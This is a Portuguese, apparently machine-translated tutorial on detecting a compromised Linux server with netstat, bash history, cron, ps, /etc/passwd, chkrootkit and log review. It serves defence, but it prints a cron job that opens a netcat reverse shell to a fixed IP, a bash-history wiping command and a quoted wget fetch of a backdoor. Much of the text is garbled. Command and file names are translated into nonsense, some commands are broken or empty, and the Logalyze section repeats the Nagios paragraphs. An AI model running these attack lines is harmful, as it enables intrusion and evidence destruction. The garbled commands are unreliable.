Netstat
NetStat é um importante utilitário de rede TCP/IP da linha de comando que fornece informações e estatísticas sobre protocolos em uso e conexões de rede ativa.
Nós vamos usar netstat Em um exemplo de máquina vítima para verificar se há algo suspeito nas conexões de rede ativa através do seguinte comando:
ubuntu@ubuntu: ~ $ netstat -antp
Aqui, veremos todas as conexões atualmente ativas. Agora, procuraremos um conexão que não deve estar lá.
Aqui está, uma conexão ativa na porta 44999 (uma porta que não deve ser aberta).Podemos ver outros detalhes sobre a conexão, como o PID, e o nome do programa está sendo executado na última coluna. Nesse caso, o PID é 1555 e a carga útil maliciosa que está em execução é o ./concha.duende arquivo.
Outro comando para verificar se as portas estão ouvindo e ativas no seu sistema é a seguinte:
ubuntu@ubuntu: ~ $ netstat -la
Esta é uma saída bastante confusa. Para filtrar as conexões de escuta e estabelecidas, usaremos o seguinte comando:
ubuntu@ubuntu: ~ $ netstat -la | grep "escute" "estabelecido"
Isso lhe dará apenas os resultados que são importantes para você, para que você possa resolver esses resultados com mais facilidade. Podemos ver uma conexão ativa em Porta 44999 Nos resultados acima.
Depois de reconhecer o processo malicioso, você pode matar o processo por meio de seguintes comandos. Vamos notar o PID do processo usando o comando netstat e mate o processo através do seguinte comando:
ubuntu@ubuntu: ~ $ kill 1555
~.História da batida
Linux mantém um registro do qual os usuários efetuaram login no sistema, de que IP, quando e por quanto tempo.
Você pode acessar essas informações com o durar comando. A saída deste comando seria a seguinte:
ubuntu@ubuntu: ~ $ last
A saída mostra o nome de usuário na primeira coluna, o terminal no segundo, o endereço de origem no terceiro, o tempo de login na quarta coluna e o tempo total da sessão registrado na última coluna. Nesse caso, os usuários Usman e Ubuntu ainda estão logados. Se você vir alguma sessão que não esteja autorizada ou parecer maliciosa, consulte a última seção deste artigo.
O histórico de madeira é armazenado em ~.História da batida arquivo. Portanto, a história pode ser removida facilmente, excluindo o .História da batida arquivo. Esta ação é frequentemente realizada pelos atacantes para cobrir seus trilhos.
ubuntu@ubuntu: ~ $ cat .Bash_history
Este comando mostrará os comandos executados em seu sistema, com o comando mais recente realizado na parte inferior da lista.
A história pode ser limpa através do seguinte comando:
ubuntu@ubuntu: ~
Este comando excluirá apenas a história do terminal que você está usando atualmente. Então, há uma maneira mais correta de fazer isso:
ubuntu@ubuntu: ~ $ cat/dev/null> ~//.Bash_history
Isso limpará o conteúdo da história, mas manterá o arquivo no lugar. Então, se você está vendo apenas o seu login atual depois de executar o durar comando, este não é um bom sinal. Isso indica que seu sistema pode ter sido comprometido e que o invasor provavelmente excluiu a história.
Se você suspeitar de um usuário ou IP malicioso, faça login como esse usuário e execute o comando história, do seguinte modo:
ubuntu@ubuntu: ~ $ su
ubuntu@ubuntu: ~
Este comando mostrará o histórico dos comandos lendo o arquivo .História da batida no /lar Pasta desse usuário. Procure cuidadosamente wget, ondulação, ou netcat Comandos, caso o invasor usasse esses comandos para transferir arquivos ou instalar ferramentas de repo, como criptografia ou bots de spam.
Dê uma olhada no exemplo abaixo:
Acima, você pode ver o comando ““wget https: // github.com/sajith/mod-rootme.” Neste comando, o hacker tentou acessar um arquivo fora do repo usando wget Para baixar um backdoor chamado "mod-raot me" e instalá-lo no seu sistema. Este comando na história significa que o sistema está comprometido e foi encostado por um atacante.
Lembre -se, esse arquivo pode ser expelido com facilidade ou sua substância produzida. Os dados fornecidos por este comando não devem ser tomados como uma realidade definitiva. No entanto, no caso de o atacante ter um comando "ruim" e deixar de evacuar a história, estará lá.
Jobs Cron
Os trabalhos de Cron podem servir como uma ferramenta vital quando configurados para configurar uma concha reversa na máquina do atacante. Editar Cron Jobs é uma habilidade importante, assim como saber como vê -los.
Para visualizar os trabalhos Cron em execução para o usuário atual, usaremos o seguinte comando:
ubuntu@ubuntu: ~ $ crontab -l
Para visualizar os trabalhos Cron em execução para outro usuário (neste caso, Ubuntu), usaremos o seguinte comando:
ubuntu@ubuntu: ~ $ crontab -u ubuntu -l
Para visualizar trabalhos diários, horários, semanais e mensais, usaremos os seguintes comandos:
Jobs Daily Cron:
ubuntu@ubuntu: ~ $ ls -la /etc /cron.diário
Empregos horários de cron:
ubuntu@ubuntu: ~ $ ls -la /etc /cron.a cada hora
Empregos semanais de Cron:
ubuntu@ubuntu: ~ $ ls -la /etc /cron.semanalmente
Tome um exemplo:
O atacante pode colocar um trabalho de Cron em /etc/crontab Isso comanda maliciosa 10 minutos depois de cada hora. O invasor também pode executar um serviço malicioso ou um backdoor reverso de shell via netcat ou alguma outra utilidade. Quando você executa o comando $ ~ CRONTAB -L, Você verá um trabalho de Cron em execução sob:
ubuntu@ubuntu: ~ $ crontab -l
CT = $ (Crontab -l)
CT = $ CT $ '\ n10 * * * * nc -e /bin /Bash 192.168.8.131 44999 '
printf "$ ct" | Crontab -
ps aux
Para inspecionar adequadamente se o seu sistema foi comprometido, também é importante visualizar processos de execução. Há casos em que alguns processos não autorizados não estão consumindo o uso suficiente da CPU para ser listado no principal comando. É aí que usaremos o ps comando para mostrar todos os processos atualmente em execução.
ubuntu@ubuntu: ~ $ ps auxf
A primeira coluna mostra o usuário, a segunda coluna mostra um ID de processo exclusivo, e a CPU e o uso da memória são mostrados nas próximas colunas.
Esta tabela fornecerá mais informações para você. Você deve inspecionar todo processo em execução para procurar qualquer coisa peculiar para saber se o sistema está comprometido ou não. No caso de você encontrar qualquer coisa suspeita, pesquise no Google ou execute -o com o LSOF comando, como mostrado acima. Este é um bom hábito de correr ps comandos em seu servidor e aumentará suas chances de encontrar algo suspeito ou fora de sua rotina diária.
/etc/passwd
O /etc/passwd O arquivo mantém o rastreamento de todos os usuários do sistema. Este é um arquivo separado por cólon que contém informações como nome de usuário, UserID, senha criptografada, grupo (GID), nome completo do usuário, diretório inicial do usuário e shell de login.
Se um invasor invadir seu sistema, existe a possibilidade de que ele crie mais alguns usuários, para manter as coisas separadas ou criar um backdoor em seu sistema para voltar usando esse backdoor. Ao verificar se o seu sistema foi comprometido, você também deve verificar todos os usuários no arquivo /etc /passwd. Digite o seguinte comando para fazer isso:
ubuntu@ubuntu: ~ $ cat etc/passwd
Este comando fornecerá uma saída semelhante à abaixo:
GNOME Initial-setup: x: 120: 65534 ::/run/gnome-inial-setup/:/bin/false
GDM: X: 121: 125: GNOME Display Manager:/var/lib/gdm3:/bin/false
Usman: x: 1000: 1000: Usman:/home/usman:/bin/bash
PostGres: X: 122: 128: Administrador PostGresql ,,,:/var/lib/postgreSql:/bin/Bash
Debian-Tor: X: 123: 129 ::/var/lib/tor:/bin/false
Ubuntu: x: 1001: 1001: ubuntu ,,,:/home/ubuntu:/bin/bash
LightDM: X: 125: 132: Light Display Manager:/var/lib/LightDM:/bin/false
Debian-Gdm: X: 124: 131: GNOME Display Manager:/var/lib/gdm3:/bin/false
Anônimo: X: 1002: 1002: ,,,:/home/anonymous:/bin/bash
Agora, você vai querer procurar qualquer usuário que você não conhece. Neste exemplo, você pode ver um usuário no arquivo chamado “Anonymous.”Outra coisa importante a ser observada é que, se o invasor criou um usuário para fazer login, o usuário também terá um shell“/bin/bash ”atribuído. Portanto, você pode restringir sua pesquisa, minando a seguinte saída:
ubuntu@ubuntu: ~ $ cat /etc /passwd | grep -i "/bin/bash"
Usman: x: 1000: 1000: Usman:/home/usman:/bin/bash
PostGres: X: 122: 128: Administrador PostGresql ,,,:/var/lib/postgreSql:/bin/Bash
Ubuntu: x: 1001: 1001: ubuntu ,,,:/home/ubuntu:/bin/bash
Anônimo: X: 1002: 1002: ,,,:/home/anonymous:/bin/bash
Você pode realizar mais "magia do Bash" para refinar sua saída.
ubuntu@ubuntu: ~ $ cat /etc /passwd | grep -i "/bin/bash" | corte -d ":" -f 1
Usman
PostGres
Ubuntu
anônimo
Encontrar
Pesquisas baseadas no tempo são úteis para triagem rápida. O usuário também pode modificar o arquivo de alteração de arquivo. Para melhorar a confiabilidade, inclua o ctime nos critérios, pois é muito mais difícil de adulterar, porque requer modificações de alguns arquivos de nível.
Você pode usar o seguinte comando para encontrar arquivos criados e modificados nos últimos 5 dias:
ubuntu@ubuntu: ~ $ find / -mtime -o -ctime -5
Para encontrar todos os arquivos SUID de propriedade da raiz e verificar se há entradas inesperadas nas listas, usaremos o seguinte comando:
ubuntu@ubuntu: ~ $ find / -perm -4000 -User raiz -Type f
Para encontrar todos os arquivos SGID (Definir ID do usuário) pertencentes à raiz e verificar se houver alguma entradas inesperadas nas listas, usaremos o seguinte comando:
ubuntu@ubuntu: ~ $ find / -perm -6000 -Type f
Chkrootkit
Rootkits são uma das piores coisas que podem acontecer com um sistema e são um dos ataques mais perigosos, mais perigosos que malware e vírus, tanto nos danos que causam ao sistema quanto na dificuldade em encontrá -los e detectá -los.
Eles são projetados de tal maneira que permanecem ocultos e fazem coisas maliciosas, como roubar cartões de crédito e informações bancárias on -line. Rootkits Dê aos cibercriminosos a capacidade de controlar seu sistema de computador. Rootkits também ajudam o invasor a monitorar suas teclas e desativar seu software antivírus, o que torna ainda mais fácil roubar suas informações privadas.
Esses tipos de malware podem permanecer no seu sistema por um longo tempo sem que o usuário perceba e pode causar alguns danos graves. Uma vez o Rootkit é detectado, não há outra maneira senão reinstalar todo o sistema. Às vezes, esses ataques podem até causar falha de hardware.
Felizmente, existem algumas ferramentas que podem ajudar a detectar Rootkits Em sistemas Linux, como Lynis, Clam AV ou LMD (detecção de malware Linux). Você pode verificar seu sistema para conhecido Rootkits Usando os comandos abaixo.
Primeiro, instale Chkrootkit através do seguinte comando:
ubuntu@ubuntu: ~ $ sudo apt install chkrootkit
Isso instalará o Chkrootkit ferramenta. Você pode usar esta ferramenta para verificar se há rootkits através do seguinte comando:
ubuntu@ubuntu: ~ $ sudo chkrootkit
O pacote Chkrootkit consiste em um script de shell que verifica os binários do sistema para modificação do rootkit, bem como vários programas que verificam vários problemas de segurança. No caso acima, o pacote verificou um sinal de rootkit no sistema e não encontrou nenhum. Bem, esse é um bom sinal!
Logs Linux
Os logs do Linux fornecem um cronograma de eventos na estrutura e aplicativos do Linux e são um importante instrumento de investigação quando você tiver problemas. A tarefa principal que um administrador precisa executar quando descobrir que o sistema está comprometido deve estar dissecando todos os registros de log.
Para problemas de aplicação da área de trabalho, problemas explícitos, os registros de log são mantidos em contato com várias áreas. Por exemplo, o Chrome compõe relatórios de acidente para '~//.Relatórios de Chrome/Crash '), onde um aplicativo da área de trabalho compõe logs dependentes do engenheiro e mostra se o aplicativo levar em consideração o acordo de log personalizado. Registros estão no/var/log diretório. Existem logs Linux para tudo: estrutura, porção, pacote chefes, formulários de inicialização, xorg, apache e mysql. Neste artigo, o tema se concentrará explicitamente nos logs da estrutura Linux.
Você pode mudar para este catálogo utilizando a ordem de disco compacto. Você deve ter permissões de raiz para visualizar ou alterar arquivos de log.
ubuntu@ubuntu: ~ $ cd /var /log
Instruções para visualizar logs do Linux
Utilize os seguintes comandos para ver os documentos de log necessários.
Os logs do Linux podem ser vistos com o comando CD /var /log, Nesse ponto, compondo a ordem para ver os troncos guardados sob este catálogo. Um dos logs mais significativos é o syslog, que registra muitos logs importantes.
ubuntu@ubuntu: gato syslog
Para higienizar a saída, usaremos o “menos" comando.
Ubuntu@ubuntu: gato syslog | menos
Digite o comando var/log/syslog para ver algumas coisas sob o arquivo syslog. Focar em uma questão específica levará algum tempo, já que esse registro geralmente será longo. Pressione Shift+G para rolar para baixo no recorde para terminar, significando por “End.”
Da mesma forma, você pode ver os logs por meio do DMESG, que imprime o suporte do anel de peça. Esta função imprime tudo e o envia o mais longe possível ao longo do documento. A partir desse ponto, você pode utilizar o pedido dmesg | menos Para olhar através do rendimento. No caso de você precisar ver os logs do usuário especificado, você terá que executar o seguinte comando:
DMESG - instalação = usuário
Em conclusão, você pode utilizar a ordem da cauda para ver os documentos de log. É uma utilidade pequena, mas útil, que se pode usar, pois é usado para mostrar a última parte dos troncos, onde o problema provavelmente ocorreu. Você também pode especificar o número de últimos bytes ou linhas para mostrar no comando da cauda. Para isso, utilize o comando cauda/var/log/syslog. Existem muitas maneiras de olhar para toras.
Para um número específico de linhas (o modelo considera as últimas 5 linhas), digite o seguinte comando:
ubuntu@ubuntu: ~ $ cauda -f -n 5/var/log/syslog
Isso irá imprimir as 5 linhas mais recentes. Quando outra linha chegar, a primeira será evacuada. Para se afastar da ordem da cauda, pressione Ctrl+X.
Logs Linux importantes
Os principais logs do Four Linux incluem:
Ubuntu@ubuntu: gato syslog | menos
ubuntu@ubuntu: gato auth.log | menos
ubuntu@ubuntu: bota de gato.log | menos
Ubuntu@ubuntu: gat maillog | menos
Ubuntu@Ubuntu: Cat Kern | menos
Ubuntu@Ubuntu: Cat Dmesg | menos
Ubuntu@Ubuntu: Cat Faillog | menos
Ubuntu@Ubuntu: Cat Cron | menos
ubuntu@ubuntu: gat yum.log | menos
Ubuntu@Ubuntu: Cat httpd | menos
ubuntu@ubuntu: gato mysqld.log | menos
Ferramentas para visualizar logs Linux
Existem muitos rastreadores de log de código aberto e dispositivos de exame acessíveis hoje, tornando os ativos corretos para registros de ação mais simples do que você pode suspeitar. Os verificadores de registro de código aberto e de código aberto podem funcionar em qualquer sistema para fazer o trabalho. Aqui estão cinco dos melhores que utilizei no passado, em nenhuma ordem específica.
Graylog
Iniciado na Alemanha em 2011, o GrayLog agora é oferecido como um dispositivo de código aberto ou um acordo comercial. O GrayLog deve ser uma estrutura de login-the-board trazida que recebe fluxos de informações de diferentes servidores ou pontos de extremidade e permite que você leia rapidamente ou divida esses dados.
GrayLog montou uma notoriedade positiva entre as cabeças -quadro como resultado de sua simplicidade e versatilidade. A maioria dos empreendimentos da web começa pouco, mas pode se desenvolver exponencialmente. O GrayLog pode ajustar as pilhas sobre um sistema de servidores de back -end e lidar com alguns terabytes de informações de log todos os dias.
Os presidentes de TI verão a interface frontal da GrayLog como simples de utilizar e vigorosa em sua utilidade. O GrayLog trabalha em torno da idéia de painéis, o que permite que os usuários escolham o tipo de medição ou fontes de informação que eles acham importante e observam rapidamente as inclinações após algum tempo.
Quando ocorre um episódio de segurança ou execução, os presidentes precisam ter a opção de seguir as manifestações a um motorista subjacente o mais rápido possível. O recurso de pesquisa do GrayLog simplifica esta tarefa. Essa ferramenta trabalhou em adaptação à falha interna que pode executar empreendimentos multi-strung para que você possa quebrar alguns perigos em potencial juntos.
Nagios
Iniciado por um único desenvolvedor em 1999, Nagios desde então avançou em um dos instrumentos de código aberto mais sólidos para supervisionar as informações do log. A atual versão do Nagios pode ser implementada em servidores executando qualquer tipo de sistema operacional (Linux, Windows, etc.).
O item essencial de Nagios é um servidor de log, que otimiza a variedade de informações e disponibiliza os dados progressivamente para executivos da estrutura. O motor do servidor Nagios Log captura informações gradualmente e as alimenta em um instrumento de pesquisa inovador. Incorporar com outro endpoint ou aplicação é uma gratificação simples a este Assistente de arranjo inerente.
Nagios é freqüentemente utilizado em associações que precisam rastrear a segurança de seus bairros e podem revisar um escopo de ocasiões relacionadas ao sistema para ajudar a robotizar o transporte de precauções. Nagios pode ser programado para executar tarefas específicas quando uma determinada condição é atendida, o que permite que os usuários detectem problemas mesmo antes que as necessidades de um humano sejam incluídas.
Como um aspecto principal da avaliação do sistema, os Nagios canalizarão informações de log dependendo da área geográfica onde inicia. Os painéis completos com mapeamento de inovação podem ser implementados para ver o streaming do tráfego da web.
Logalyze
A Logalyze fabrica ferramentas de código aberto para diretores da estrutura ou de sys-admins e especialistas em segurança para ajudá-los a supervisionar os logs do servidor e permitir que eles se concentrem em transformar os logs em informações valiosas. O item essencial desta ferramenta é que ela é acessível como um download gratuito para uso doméstico ou comercial.
O item essencial de Nagios é um servidor de log, que otimiza a variedade de informações e disponibiliza os dados progressivamente para executivos da estrutura. O motor do servidor Nagios Log captura informações gradualmente e as alimenta em um instrumento de pesquisa inovador. Incorporar com outro endpoint ou aplicação é uma gratificação simples a este Assistente de arranjo inerente.
Nagios é freqüentemente utilizado em associações que precisam rastrear a segurança de seus bairros e podem revisar um escopo de ocasiões relacionadas ao sistema para ajudar a robotizar o transporte de precauções. Nagios pode ser programado para executar tarefas específicas quando uma determinada condição é atendida, o que permite aos usuários detectar problemas mesmo antes que as necessidades de um humano sejam incluídas.
Como um aspecto principal da avaliação do sistema, os Nagios canalizarão informações de log dependendo da área geográfica onde inicia. Os painéis completos com mapeamento de inovação podem ser implementados para ver o streaming do tráfego da web.
O que você deve fazer se tiver sido comprometido?
O principal é não entrar em pânico, principalmente se a pessoa não autorizada estiver assinada agora. Você deve ter a opção de retomar o controle da máquina antes que a outra pessoa saiba que você sabe sobre eles. No caso de eles sabem que você está ciente da presença deles, o atacante pode muito bem mantê -lo fora do seu servidor e começar a destruir seu sistema. Se você não é tão técnico, tudo o que você deve fazer é desligar todo o servidor imediatamente. Você pode desligar o servidor através dos seguintes comandos:
ubuntu@ubuntu: ~ $ Shutdown -H agora
Ou
ubuntu@ubuntu: ~ systemctl poweroff
Outra maneira de fazer isso é fazer login no painel de controle do seu provedor de hospedagem e desligá -lo a partir daí. Depois que o servidor é desligado, você pode trabalhar nas regras do firewall necessárias e consultar qualquer pessoa para obter assistência em seu próprio tempo.
Caso você esteja se sentindo mais confiante e seu provedor de hospedagem tenha um firewall a montante, crie e habilite as duas regras seguintes:
Para verificar se as sessões SSH ativas, use o seguinte comando:
ubuntu@ubuntu: ~ $ ss | Grep SSH
Use o seguinte comando para matar sua sessão SSH:
ubuntu@ubuntu: ~ $ kill
Isso matará sua sessão SSH e lhe dará acesso ao servidor. Caso você não tenha acesso a um firewall a montante, terá que criar e ativar as regras do firewall no próprio servidor. Então, quando as regras do firewall forem configuradas, mate a sessão SSH do usuário não autorizado por meio do comando "Kill".
Uma última técnica, quando disponível, entre no servidor por meio de uma conexão fora da banda, como um console serial. Pare com todas as redes através do seguinte comando:
ubuntu@ubuntu: ~ systemctl stop wetwork.serviço
Isso interromperá completamente qualquer sistema que chegue até você, para que agora você possa permitir os controles do firewall em seu próprio tempo.
Depois de recuperar o controle do servidor, não confie facilmente nele. Não tente consertar as coisas e reutilizá -las. O que está quebrado não pode ser consertado. Você nunca saberia o que um invasor poderia fazer e, portanto, nunca deve ter certeza de que o servidor está seguro. Então, a reinstalação deve ser sua etapa final.